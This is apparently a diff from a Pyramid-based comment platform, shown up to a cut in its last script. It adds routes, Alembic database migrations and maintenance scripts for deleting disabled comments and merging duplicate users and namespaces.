config.add_route("embed-namespace-nodes", "/embed/ns/{namespace}/nodes") config.add_route("embed-namespace-nodes", "/embed/ns/{namespace}/nodes")
config.add_route("embed-namespace-delete", "/embed/ns/{namespace}/delete")
config.add_route("embed-namespace-settings", "/embed/ns/{namespace}/settings") config.add_route("embed-namespace-settings", "/embed/ns/{namespace}/settings")
config.add_route("embed-namespace-import-comments", "/embed/ns/{namespace}/import-comments")
config.add_route( config.add_route(
"embed-namespace-stylesheet", "/embed/ns/{namespace}/{filename}.css" "embed-namespace-stylesheet", "/embed/ns/{namespace}/{filename}.css"
) )
config.add_route("embed-namespace", "/embed/ns/{namespace}") config.add_route("embed-namespace", "/embed/ns/{namespace}")
config.add_route("embed-user-delete-account", "/embed/ns/{namespace}/u/delete-account")
config.add_route("embed-user-export-data", "/embed/ns/{namespace}/u/export-data")
config.add_route("embed-user-settings", "/embed/ns/{namespace}/u/settings") config.add_route("embed-user-settings", "/embed/ns/{namespace}/u/settings")
config.add_route("embed-user-watching", "/embed/ns/{namespace}/u/watching") config.add_route("embed-user-watching", "/embed/ns/{namespace}/u/watching")
config.add_route("embed-user-notifications", "/embed/ns/{namespace}/u/notifications") config.add_route("embed-user-notifications", "/embed/ns/{namespace}/u/notifications")
@ -101,7 +114,10 @@ def includeme(config):
config.add_route("basic-verification-challenge", "/verification-challenge") config.add_route("basic-verification-challenge", "/verification-challenge")
config.add_route("basic-namespace-nodes", "/ns/{namespace}/nodes") config.add_route("basic-namespace-nodes", "/ns/{namespace}/nodes")
config.add_route("basic-namespace-spam-bulk", "/ns/{namespace}/spam-bulk")
config.add_route("basic-namespace-delete", "/ns/{namespace}/delete")
config.add_route("basic-namespace-settings", "/ns/{namespace}/settings") config.add_route("basic-namespace-settings", "/ns/{namespace}/settings")
config.add_route("basic-namespace-import-comments", "/ns/{namespace}/import-comments")
config.add_route("basic-namespace-stats-json", "/ns/{namespace}/stats.json") config.add_route("basic-namespace-stats-json", "/ns/{namespace}/stats.json")
config.add_route("basic-namespace-stylesheet", "/ns/{namespace}/{filename}.css") config.add_route("basic-namespace-stylesheet", "/ns/{namespace}/{filename}.css")
config.add_route("basic-namespace-threads-rss", "/ns/{namespace}.threads.xml") config.add_route("basic-namespace-threads-rss", "/ns/{namespace}.threads.xml")
@ -111,6 +127,8 @@ def includeme(config):
) )
config.add_route("basic-namespace", "/ns/{namespace}") config.add_route("basic-namespace", "/ns/{namespace}")
config.add_route("basic-user-delete-account", "/u/delete-account")
config.add_route("basic-user-export-data", "/u/export-data")
config.add_route("basic-user-settings", "/u/settings") config.add_route("basic-user-settings", "/u/settings")
config.add_route("basic-user-watching", "/u/watching") config.add_route("basic-user-watching", "/u/watching")
config.add_route("basic-user-notifications", "/u/notifications") config.add_route("basic-user-notifications", "/u/notifications")
@ -127,5 +145,6 @@ def includeme(config):
config.add_route("basic-reply2", "/{node_id}/{slug:.*}/reply") config.add_route("basic-reply2", "/{node_id}/{slug:.*}/reply")
config.add_route("basic-show-count", "/{node_id}/count") config.add_route("basic-show-count", "/{node_id}/count")
config.add_route("basic-show-count2", "/{node_id}/{slug:.*}/count") config.add_route("basic-show-count2", "/{node_id}/{slug:.*}/count")
config.add_route("node-revisions-html", "/{node_id}/revisions")
config.add_route("basic-show-node", "/{node_id}") config.add_route("basic-show-node", "/{node_id}")
config.add_route("basic-show-node2", "/{node_id}/{slug:.*}") # must be last. config.add_route("basic-show-node2", "/{node_id}/{slug:.*}") # must be last.

View file

@ -0,0 +1,24 @@
"""add is_superuser column to user
Revision ID: 03061161fc3d
Revises: b7f3a2d1e8c9
Create Date: 2026-02-02 08:01:12.446084
"""
# revision identifiers, used by Alembic.
revision = '03061161fc3d'
down_revision = 'b7f3a2d1e8c9'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('rb_user', sa.Column('is_superuser', sa.Boolean(), nullable=True))
def downgrade():
op.drop_column('rb_user', 'is_superuser')

View file

@ -0,0 +1,24 @@
"""Add allow_anonymous column to namespace
Revision ID: 108519de76ac
Revises: 5188e62d0afb
Create Date: 2025-12-20 11:05:36.134829
"""
# revision identifiers, used by Alembic.
revision = '108519de76ac'
down_revision = '5188e62d0afb'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('rb_namespace', sa.Column('allow_anonymous', sa.Boolean(), nullable=True, server_default='0'))
def downgrade():
op.drop_column('rb_namespace', 'allow_anonymous')

View file

@ -0,0 +1,33 @@
"""Add import_group_postfix column to namespace table
Revision ID: 5188e62d0afb
Revises: b8f3c9d4e5a1
Create Date: 2025-11-24 06:39:06.299392
"""
# revision identifiers, used by Alembic.
revision = '5188e62d0afb'
down_revision = 'b8f3c9d4e5a1'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from sqlalchemy_utils import UUIDType as TempUUIDType
UUIDType = TempUUIDType(binary=False)
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('rb_namespace', sa.Column('import_group_postfix', sa.Unicode(length=6), nullable=True))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column('rb_namespace', 'import_group_postfix')
# ### end Alembic commands ###

View file

@ -0,0 +1,35 @@
"""create rb_sudo_otp table
Revision ID: 7c624a8fae9e
Revises: e99b1524710c
Create Date: 2026-02-05 16:06:35.820072
"""
# revision identifiers, used by Alembic.
revision = '7c624a8fae9e'
down_revision = 'e99b1524710c'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
conn = op.get_bind()
inspector = sa.inspect(conn)
if 'rb_sudo_otp' not in inspector.get_table_names():
op.create_table('rb_sudo_otp',
sa.Column('action_key', sa.Unicode(length=256), nullable=False),
sa.Column('code', sa.Unicode(length=8), nullable=False),
sa.Column('action', sa.Unicode(length=512), nullable=False),
sa.Column('client_ip', sa.Unicode(length=45), nullable=True),
sa.Column('created_at', sa.BigInteger(), nullable=False),
sa.Column('expires_at', sa.BigInteger(), nullable=False),
sa.PrimaryKeyConstraint('action_key'),
)
def downgrade():
op.drop_table('rb_sudo_otp')

View file

@ -0,0 +1,46 @@
"""add customizable button text, comment labels, and nesting depth settings to namespace
Revision ID: 896568b0752e
Revises: a3f7b2c1d4e5
Create Date: 2026-02-01 18:28:50.433155
"""
# revision identifiers, used by Alembic.
revision = '896568b0752e'
down_revision = 'a3f7b2c1d4e5'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def _column_exists(table, column):
"""Check if a column exists in a SQLite table."""
conn = op.get_bind()
result = conn.execute(sa.text("PRAGMA table_info('{}')".format(table)))
return any(row[1] == column for row in result)
def upgrade():
# T4: customizable button text and comment labels
if not _column_exists('rb_namespace', 'submit_button_text'):
op.add_column('rb_namespace', sa.Column('submit_button_text', sa.Unicode(length=256), nullable=True))
if not _column_exists('rb_namespace', 'comment_label_singular'):
op.add_column('rb_namespace', sa.Column('comment_label_singular', sa.Unicode(length=256), nullable=True))
if not _column_exists('rb_namespace', 'comment_label_plural'):
op.add_column('rb_namespace', sa.Column('comment_label_plural', sa.Unicode(length=256), nullable=True))
# T8: nesting depth settings
if not _column_exists('rb_namespace', 'max_nesting_depth'):
op.add_column('rb_namespace', sa.Column('max_nesting_depth', sa.Integer(), nullable=True))
if not _column_exists('rb_namespace', 'collapse_depth'):
op.add_column('rb_namespace', sa.Column('collapse_depth', sa.Integer(), nullable=True))
def downgrade():
op.drop_column('rb_namespace', 'collapse_depth')
op.drop_column('rb_namespace', 'max_nesting_depth')
op.drop_column('rb_namespace', 'comment_label_plural')
op.drop_column('rb_namespace', 'comment_label_singular')
op.drop_column('rb_namespace', 'submit_button_text')

View file

@ -0,0 +1,42 @@
"""add revision table for wiki mode
Revision ID: 8e3c406e4049
Revises: 7c624a8fae9e
Create Date: 2026-03-09 23:09:54.651756
"""
# revision identifiers, used by Alembic.
revision = '8e3c406e4049'
down_revision = 'd47dc908d2ea'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from sqlalchemy_utils import UUIDType as TempUUIDType
UUIDType = TempUUIDType(binary=False)
def upgrade():
op.create_table('rb_revision',
sa.Column('id', UUIDType, nullable=False),
sa.Column('node_id', UUIDType, nullable=False),
sa.Column('user_id', UUIDType, nullable=True),
sa.Column('data', sa.UnicodeText(), nullable=False),
sa.Column('source_format', sa.Unicode(length=16), nullable=False),
sa.Column('revision_number', sa.Integer(), nullable=False),
sa.Column('created', sa.BigInteger(), nullable=False),
sa.ForeignKeyConstraint(['node_id'], ['rb_node.id']),
sa.ForeignKeyConstraint(['user_id'], ['rb_user.id']),
sa.PrimaryKeyConstraint('id'),
)
op.create_index(op.f('ix_rb_revision_id'), 'rb_revision', ['id'], unique=False)
op.create_index(op.f('ix_rb_revision_node_id'), 'rb_revision', ['node_id'], unique=False)
def downgrade():
op.drop_index(op.f('ix_rb_revision_node_id'), table_name='rb_revision')
op.drop_index(op.f('ix_rb_revision_id'), table_name='rb_revision')
op.drop_table('rb_revision')

View file

@ -0,0 +1,24 @@
"""Add api_access column to namespace
Revision ID: a3f7b2c1d4e5
Revises: d1213344ca99
Create Date: 2026-02-01 00:00:00.000000
"""
# revision identifiers, used by Alembic.
revision = 'a3f7b2c1d4e5'
down_revision = 'd1213344ca99'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('rb_namespace', sa.Column('api_access', sa.Boolean(), nullable=True, server_default='1'))
def downgrade():
op.drop_column('rb_namespace', 'api_access')

View file

@ -0,0 +1,34 @@
"""add theme_mode column to rb_user
Revision ID: b8f3c9d4e5a1
Revises: 14a6a35940c7
Create Date: 2025-10-11 00:00:00.000000
"""
# revision identifiers, used by Alembic.
revision = 'b8f3c9d4e5a1'
down_revision = '14a6a35940c7'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column(
'rb_user',
sa.Column(
'theme_mode',
sa.Enum('auto', 'light', 'dark', name='theme_mode_enum'),
nullable=False,
server_default='auto',
),
)
def downgrade():
op.drop_column('rb_user', 'theme_mode')
# Also drop the enum type
op.execute('DROP TYPE theme_mode_enum')

View file

@ -0,0 +1,64 @@
"""add push notification columns to user and webmention table
Revision ID: b7f3a2d1e8c9
Revises: 896568b0752e
Create Date: 2026-02-01 21:00:00.000000
"""
# revision identifiers, used by Alembic.
revision = 'b7f3a2d1e8c9'
down_revision = '896568b0752e'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
from remarkbox.models.meta import UUIDType
def _column_exists(table, column):
"""Check if a column exists in a SQLite table."""
conn = op.get_bind()
result = conn.execute(sa.text("PRAGMA table_info('{}')".format(table)))
return any(row[1] == column for row in result)
def _table_exists(table):
"""Check if a table exists in SQLite."""
conn = op.get_bind()
result = conn.execute(sa.text(
"SELECT name FROM sqlite_master WHERE type='table' AND name='{}'".format(table)
))
return result.fetchone() is not None
def upgrade():
# T10: push notification preferences on user
if not _column_exists('rb_user', 'notification_preference'):
op.add_column('rb_user', sa.Column('notification_preference', sa.Unicode(length=5), server_default='email', nullable=False))
if not _column_exists('rb_user', 'push_subscriptions'):
op.add_column('rb_user', sa.Column('push_subscriptions', sa.UnicodeText(), nullable=True))
# T7: webmention table
if not _table_exists('rb_webmention'):
op.create_table(
'rb_webmention',
sa.Column('id', UUIDType, primary_key=True, index=True),
sa.Column('source', sa.Unicode(2048), nullable=False),
sa.Column('target', sa.Unicode(2048), nullable=False),
sa.Column('node_id', UUIDType, sa.ForeignKey('rb_node.id'), index=True, nullable=True),
sa.Column('verified', sa.Boolean(), default=False, nullable=False),
sa.Column('author_name', sa.Unicode(256), nullable=True),
sa.Column('author_url', sa.Unicode(2048), nullable=True),
sa.Column('content', sa.UnicodeText(), nullable=True),
sa.Column('created_timestamp', sa.BigInteger(), nullable=False),
sa.Column('updated_timestamp', sa.BigInteger(), nullable=False),
)
def downgrade():
op.drop_table('rb_webmention')
op.drop_column('rb_user', 'push_subscriptions')
op.drop_column('rb_user', 'notification_preference')

View file

@ -0,0 +1,24 @@
"""add google_site_verification column to namespace
Revision ID: d1213344ca99
Revises: 108519de76ac
Create Date: 2026-01-11 09:06:53.272415
"""
# revision identifiers, used by Alembic.
revision = 'd1213344ca99'
down_revision = '108519de76ac'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('rb_namespace', sa.Column('google_site_verification', sa.Unicode(length=128), nullable=True))
def downgrade():
op.drop_column('rb_namespace', 'google_site_verification')

View file

@ -0,0 +1,27 @@
"""add source_format to node
Revision ID: d47dc908d2ea
Revises: 7c624a8fae9e
Create Date: 2026-03-09 23:08:19.266162
"""
# revision identifiers, used by Alembic.
revision = 'd47dc908d2ea'
down_revision = '7c624a8fae9e'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column(
'rb_node',
sa.Column('source_format', sa.Unicode(length=16), nullable=False, server_default='markdown'),
)
def downgrade():
op.drop_column('rb_node', 'source_format')

View file

@ -0,0 +1,28 @@
"""Add spam_score spam_reason to Node and spam_filter_enabled to Namespace
Revision ID: e99b1524710c
Revises: 03061161fc3d
Create Date: 2026-02-02 13:04:45.514654
"""
# revision identifiers, used by Alembic.
revision = 'e99b1524710c'
down_revision = '03061161fc3d'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('rb_node', sa.Column('spam_score', sa.Float(), nullable=True))
op.add_column('rb_node', sa.Column('spam_reason', sa.UnicodeText(), nullable=True))
op.add_column('rb_namespace', sa.Column('spam_filter_enabled', sa.Boolean(), nullable=True))
def downgrade():
op.drop_column('rb_namespace', 'spam_filter_enabled')
op.drop_column('rb_node', 'spam_reason')
op.drop_column('rb_node', 'spam_score')

View file

@ -0,0 +1,219 @@
#!/usr/bin/env python3
import transaction
import logging
from pyramid.paster import bootstrap, setup_logging
from ..models import Node, get_tm_session, now_timestamp
from ..models.notification import NodeEventNotification
from . import base_parser
log = logging.getLogger(__name__)
def is_node_anonymized(node):
"""
Check if a node has already been anonymized based on its attributes.
Args:
node: Node object to check
Returns:
bool: True if already anonymized, False otherwise
"""
# Check if all identifying attributes are cleared
return (
(node.title == "deleted" or node.title is None)
and node.data == "deleted"
and node.data_html == "deleted"
and node.ip_address is None
)
def cleanup_orphaned_notifications(dbsession):
"""
Clean up any existing orphaned NodeEventNotification records.
Args:
dbsession: Database session
Returns:
int: Number of orphaned notifications cleaned up
"""
# Find notifications with null node_event references
orphaned = (
dbsession.query(NodeEventNotification)
.filter(NodeEventNotification.node_event_id.is_(None))
.all()
)
count = len(orphaned)
if count > 0:
print(f"Found {count} orphaned notifications, cleaning them up...")
for notification in orphaned:
dbsession.delete(notification)
print(f"Cleaned up {count} orphaned notifications")
else:
print("No orphaned notifications found")
return count
def delete_disabled_nodes(request):
"""
Delete disabled leaf nodes and anonymize disabled parent nodes while preserving children.
Skips re-anonymizing already anonymized parent nodes.
Also cleans up any existing orphaned notifications.
Args:
request: Pyramid request object with transaction manager
Returns:
bool: True if successful, False on error
"""
try:
# Get database session with transaction manager
dbsession = get_tm_session(
request.registry["dbsession_factory"], transaction.manager
)
# First, clean up any existing orphaned notifications
print("Checking for orphaned notifications...")
orphaned_count = cleanup_orphaned_notifications(dbsession)
# Fetch all disabled nodes in one query
disabled_nodes = dbsession.query(Node).filter(Node.disabled == True).all()
print(f"Found {len(disabled_nodes)} disabled nodes.")
# Initialize counters for reporting
deleted_count = 0
anonymized_count = 0
skipped_count = 0
# Process each disabled node
for node in disabled_nodes:
# Check if node has children using relationship count
has_children = node.children.count() > 0
if has_children:
# Skip if node is already anonymized
if is_node_anonymized(node):
print(
f"Skipped already anonymized parent node {node.id} with {node.children.count()} children"
)
skipped_count += 1
continue
# Anonymize parent node while preserving children
node.title = "deleted" if node.title else None
node.data = "deleted"
node.data_html = "deleted"
node.ip_address = None
node.changed = now_timestamp()
# Clean up URI if it exists
if node.has_uri and node.uri:
node.uri.data = "deleted"
node.has_uri = False
# Clear cache if it exists
if node.cache:
node.cache.stats = {}
node.cache.invalidate()
print(
f"Anonymized parent node {node.id} with {node.children.count()} children"
)
anonymized_count += 1
else:
# Delete leaf node and its related data
# Handle events deletion and cleanup associated notifications
for event in node.events:
# Delete all notifications associated with this event
notifications = dbsession.query(NodeEventNotification).filter(
NodeEventNotification.node_event_id == event.id
).all()
for notification in notifications:
dbsession.delete(notification)
# Delete the event itself
dbsession.delete(event)
# Handle watchers deletion with a loop
for watcher in node.watchers:
dbsession.delete(watcher)
# Delete cache if it exists
if node.cache:
dbsession.delete(node.cache)
# Delete URI if it exists
if node.has_uri and node.uri:
dbsession.delete(node.uri)
# Delete the node itself
dbsession.delete(node)
print(f"Deleted leaf node {node.id}")
deleted_count += 1
# Verify results
remaining_disabled_nodes = (
dbsession.query(Node).filter(Node.disabled == True).count()
)
active_nodes_count = (
dbsession.query(Node).filter(Node.disabled == False).count()
)
# Print summary of operations
print(
f"Summary: Cleaned up {orphaned_count} orphaned notifications, deleted {deleted_count} leaf nodes, anonymized {anonymized_count} parent nodes with children, skipped {skipped_count} already anonymized nodes"
)
if remaining_disabled_nodes > 0:
print(
f"Note: {remaining_disabled_nodes} disabled nodes remain (all have children)"
)
print(
f"Total active nodes: {active_nodes_count}, Remaining disabled nodes: {remaining_disabled_nodes}"
)
return True
except Exception as e:
# Handle any errors and rollback transaction
print(f"An error occurred: {e}")
dbsession.rollback()
return False
def main():
"""
Main entry point for the script to handle command-line execution.
"""
# Set up argument parser with description
parser = base_parser(
"Delete disabled leaf nodes, anonymize disabled parent nodes with children, and clean up orphaned notifications."
)
args = parser.parse_args()
# Configure logging from config file
setup_logging(args.config)
# Bootstrap Pyramid environment and process nodes
with bootstrap(args.config) as env:
request = env["request"]
with request.tm:
success = delete_disabled_nodes(request)
if success:
print("Committing transaction.")
transaction.commit()
raise SystemExit(0)
else:
print("Aborting transaction.")
transaction.abort()
raise SystemExit(1)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,270 @@
"""
Merge duplicate user accounts that have the same email (case-insensitive).
This script finds users with emails that differ only by case (e.g.,
'user@example.com' and 'User@Example.com') and merges them into a single
account, keeping the oldest one.
Usage:
remarkbox_merge_duplicate_email_users -c production.ini --dry-run
remarkbox_merge_duplicate_email_users -c production.ini
"""
from collections import defaultdict
from pyramid.paster import bootstrap, setup_logging
from sqlalchemy import func
from ..models import User
from . import base_parser
def get_arg_parser():
parser = base_parser("Find and merge user accounts with duplicate emails (case-insensitive).")
parser.add_argument(
"--dry-run",
action="store_true",
default=False,
help="Show what would be merged without making changes.",
)
return parser
def find_duplicate_email_users(dbsession):
"""
Find all users with duplicate emails (case-insensitive).
Returns a dict mapping lowercase email -> list of User objects.
Only includes emails with more than one user.
"""
duplicates = defaultdict(list)
# Get all users
users = dbsession.query(User).all()
for user in users:
email_lower = user.email.lower()
duplicates[email_lower].append(user)
# Filter to only duplicates
return {
email: users
for email, users in duplicates.items()
if len(users) > 1
}
def merge_users(dbsession, keep_user, delete_user, dry_run=False):
"""
Merge delete_user into keep_user by transferring all related records.
Transfers:
- nodes (comments)
- votes
- watchers
- node_event_notifications
- namespace_user associations
- namespace_requests
- oauth records
- payments
- pay_what_you_can
"""
keep_id = keep_user.id
delete_id = delete_user.id
print(f" Merging '{delete_user.name}' ({delete_user.email}) into '{keep_user.name}' ({keep_user.email})")
if dry_run:
# Count records that would be transferred
from ..models import (
Node, Vote, Watcher, NodeEventNotification,
NamespaceUser, NamespaceRequest, Oauth, Payment, PayWhatYouCan
)
counts = {
'nodes': dbsession.query(Node).filter(Node.user_id == delete_id).count(),
'votes': dbsession.query(Vote).filter(Vote.user_id == delete_id).count(),
'watchers': dbsession.query(Watcher).filter(Watcher.user_id == delete_id).count(),
'notifications': dbsession.query(NodeEventNotification).filter(NodeEventNotification.user_id == delete_id).count(),
'namespace_users': dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == delete_id).count(),
'namespace_requests': dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == delete_id).count(),
'oauth': dbsession.query(Oauth).filter(Oauth.user_id == delete_id).count(),
'payments': dbsession.query(Payment).filter(Payment.user_id == delete_id).count(),
'pay_what_you_can': dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == delete_id).count(),
}
for table, count in counts.items():
if count > 0:
print(f" Would transfer {count} {table}")
return
# Transfer all related records
from ..models import (
Node, Vote, Watcher, NodeEventNotification,
NamespaceUser, NamespaceRequest, Oauth, Payment, PayWhatYouCan
)
# Update nodes
updated = dbsession.query(Node).filter(Node.user_id == delete_id).update(
{Node.user_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} nodes")
# Update votes
updated = dbsession.query(Vote).filter(Vote.user_id == delete_id).update(
{Vote.user_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} votes")
# Handle watchers (may have duplicates watching same node/namespace)
keep_watcher_keys = {
(w.node_id, w.namespace_id, w.type)
for w in dbsession.query(Watcher).filter(Watcher.user_id == keep_id)
}
delete_watchers = dbsession.query(Watcher).filter(Watcher.user_id == delete_id).all()
transferred_w = 0
deleted_w = 0
for watcher in delete_watchers:
key = (watcher.node_id, watcher.namespace_id, watcher.type)
if key in keep_watcher_keys:
dbsession.delete(watcher)
deleted_w += 1
else:
watcher.user_id = keep_id
transferred_w += 1
if transferred_w:
print(f" Transferred {transferred_w} watchers")
if deleted_w:
print(f" Deleted {deleted_w} duplicate watchers")
# Update notifications
updated = dbsession.query(NodeEventNotification).filter(NodeEventNotification.user_id == delete_id).update(
{NodeEventNotification.user_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} notifications")
# Handle namespace_user associations (unique constraint on user_id, namespace_id)
keep_namespace_ids = {
nu.namespace_id for nu in dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == keep_id)
}
delete_ns_users = dbsession.query(NamespaceUser).filter(NamespaceUser.user_id == delete_id).all()
transferred_ns = 0
deleted_ns = 0
for ns_user in delete_ns_users:
if ns_user.namespace_id in keep_namespace_ids:
# Keep user already has this namespace, delete duplicate
dbsession.delete(ns_user)
deleted_ns += 1
else:
ns_user.user_id = keep_id
transferred_ns += 1
if transferred_ns:
print(f" Transferred {transferred_ns} namespace associations")
if deleted_ns:
print(f" Deleted {deleted_ns} duplicate namespace associations")
# Handle namespace requests (may have unique constraints)
keep_ns_request_ids = {
nr.namespace_id for nr in dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == keep_id)
}
delete_ns_requests = dbsession.query(NamespaceRequest).filter(NamespaceRequest.user_id == delete_id).all()
transferred_nr = 0
deleted_nr = 0
for ns_request in delete_ns_requests:
if ns_request.namespace_id in keep_ns_request_ids:
dbsession.delete(ns_request)
deleted_nr += 1
else:
ns_request.user_id = keep_id
transferred_nr += 1
if transferred_nr:
print(f" Transferred {transferred_nr} namespace requests")
if deleted_nr:
print(f" Deleted {deleted_nr} duplicate namespace requests")
# Update oauth records
updated = dbsession.query(Oauth).filter(Oauth.user_id == delete_id).update(
{Oauth.user_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} oauth records")
# Update payments
updated = dbsession.query(Payment).filter(Payment.user_id == delete_id).update(
{Payment.user_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} payments")
# Update pay_what_you_can (1-to-1, may need special handling)
existing_pwuc = dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == keep_id).first()
delete_pwuc = dbsession.query(PayWhatYouCan).filter(PayWhatYouCan.user_id == delete_id).first()
if delete_pwuc:
if existing_pwuc:
# Keep user already has one, delete the duplicate's
dbsession.delete(delete_pwuc)
print(f" Deleted duplicate pay_what_you_can record")
else:
delete_pwuc.user_id = keep_id
print(f" Transferred pay_what_you_can record")
dbsession.flush()
# Delete the duplicate user
dbsession.delete(delete_user)
dbsession.flush()
print(f" Deleted user '{delete_user.name}'")
def main():
parser = get_arg_parser()
args = parser.parse_args()
setup_logging(args.config)
with bootstrap(args.config) as env, env["request"].tm as tm:
request = env["request"]
dbsession = request.dbsession
print("Searching for duplicate email users (case-insensitive)...")
duplicates = find_duplicate_email_users(dbsession)
if not duplicates:
print("No duplicate email users found.")
return
print(f"Found {len(duplicates)} email(s) with duplicate users:\n")
for email, users in duplicates.items():
# Sort by created timestamp (oldest first)
users_sorted = sorted(users, key=lambda u: u.created)
keep_user = users_sorted[0]
delete_users = users_sorted[1:]
print(f"Email: {email}")
print(f" Keeping: '{keep_user.name}' (id={keep_user.id}, created={keep_user.created})")
for delete_user in delete_users:
print(f" Deleting: '{delete_user.name}' (id={delete_user.id}, created={delete_user.created})")
merge_users(dbsession, keep_user, delete_user, dry_run=args.dry_run)
# Normalize the kept user's email to lowercase
if keep_user.email != email:
if args.dry_run:
print(f" Would normalize email from '{keep_user.email}' to '{email}'")
else:
keep_user.email = email
dbsession.add(keep_user)
dbsession.flush()
print(f" Normalized email to '{email}'")
print()
if args.dry_run:
print("DRY RUN - No changes were made. Run without --dry-run to apply changes.")
else:
print("Done. All duplicate users have been merged.")

View file

@ -0,0 +1,380 @@
"""
Merge duplicate namespaces and URIs that have the same name/host (case-insensitive).
This script finds namespaces with names that differ only by case (e.g.,
'Example.com' and 'example.com') and merges them into a single namespace,
keeping the oldest one. It also normalizes URI hostnames to lowercase.
Usage:
remarkbox_merge_duplicate_namespaces -c production.ini --dry-run
remarkbox_merge_duplicate_namespaces -c production.ini
"""
from collections import defaultdict
from pyramid.paster import bootstrap, setup_logging
from sqlalchemy import func
from ..models import Namespace, Node, Uri, NamespaceUser, NamespaceRequest, Oauth, Watcher
from . import base_parser
import miniuri
try:
unicode("")
except Exception:
from six import u as unicode
def get_arg_parser():
parser = base_parser("Find and merge namespaces with duplicate names (case-insensitive).")
parser.add_argument(
"--dry-run",
action="store_true",
default=False,
help="Show what would be merged without making changes.",
)
return parser
def find_duplicate_namespaces(dbsession):
"""
Find all namespaces with duplicate names (case-insensitive).
Returns a dict mapping lowercase name -> list of Namespace objects.
Only includes names with more than one namespace.
"""
duplicates = defaultdict(list)
namespaces = dbsession.query(Namespace).all()
for namespace in namespaces:
name_lower = namespace.name.lower()
duplicates[name_lower].append(namespace)
# Filter to only duplicates
return {
name: namespaces
for name, namespaces in duplicates.items()
if len(namespaces) > 1
}
def find_duplicate_uris(dbsession):
"""
Find all URIs with duplicate data (case-insensitive).
Returns a dict mapping lowercase uri -> list of Uri objects.
Only includes URIs with more than one record.
"""
duplicates = defaultdict(list)
uris = dbsession.query(Uri).all()
for uri in uris:
uri_lower = uri.data.lower()
duplicates[uri_lower].append(uri)
# Filter to only duplicates
return {
uri: uri_list
for uri, uri_list in duplicates.items()
if len(uri_list) > 1
}
def merge_namespaces(dbsession, keep_ns, delete_ns, dry_run=False):
"""
Merge delete_ns into keep_ns by transferring all related records.
Transfers:
- root nodes (threads)
- namespace_user associations
- namespace_requests
- oauth records
- watchers
- user_surrogates
"""
keep_id = keep_ns.id
delete_id = delete_ns.id
print(f" Merging '{delete_ns.name}' (id={delete_id}) into '{keep_ns.name}' (id={keep_id})")
if dry_run:
counts = {
'root_nodes': dbsession.query(Node).filter(Node.namespace_id == delete_id).count(),
'namespace_users': dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == delete_id).count(),
'namespace_requests': dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == delete_id).count(),
'oauth': dbsession.query(Oauth).filter(Oauth.namespace_id == delete_id).count(),
'watchers': dbsession.query(Watcher).filter(Watcher.namespace_id == delete_id).count(),
}
for table, count in counts.items():
if count > 0:
print(f" Would transfer {count} {table}")
return
# Transfer root nodes
updated = dbsession.query(Node).filter(Node.namespace_id == delete_id).update(
{Node.namespace_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} root nodes")
# Handle namespace_user associations (unique constraint on user_id, namespace_id)
keep_user_ids = {
nu.user_id for nu in dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == keep_id)
}
delete_ns_users = dbsession.query(NamespaceUser).filter(NamespaceUser.namespace_id == delete_id).all()
transferred_ns = 0
deleted_ns = 0
for ns_user in delete_ns_users:
if ns_user.user_id in keep_user_ids:
dbsession.delete(ns_user)
deleted_ns += 1
else:
ns_user.namespace_id = keep_id
transferred_ns += 1
if transferred_ns:
print(f" Transferred {transferred_ns} namespace_user associations")
if deleted_ns:
print(f" Deleted {deleted_ns} duplicate namespace_user associations")
# Handle namespace requests
keep_request_user_ids = {
nr.user_id for nr in dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == keep_id)
}
delete_ns_requests = dbsession.query(NamespaceRequest).filter(NamespaceRequest.namespace_id == delete_id).all()
transferred_nr = 0
deleted_nr = 0
for ns_request in delete_ns_requests:
if ns_request.user_id in keep_request_user_ids:
dbsession.delete(ns_request)
deleted_nr += 1
else:
ns_request.namespace_id = keep_id
transferred_nr += 1
if transferred_nr:
print(f" Transferred {transferred_nr} namespace requests")
if deleted_nr:
print(f" Deleted {deleted_nr} duplicate namespace requests")
# Transfer oauth records
updated = dbsession.query(Oauth).filter(Oauth.namespace_id == delete_id).update(
{Oauth.namespace_id: keep_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} oauth records")
# Handle watchers (may have duplicates watching same node for same user)
keep_watcher_keys = {
(w.user_id, w.node_id, w.type)
for w in dbsession.query(Watcher).filter(Watcher.namespace_id == keep_id)
}
delete_watchers = dbsession.query(Watcher).filter(Watcher.namespace_id == delete_id).all()
transferred_w = 0
deleted_w = 0
for watcher in delete_watchers:
key = (watcher.user_id, watcher.node_id, watcher.type)
if key in keep_watcher_keys:
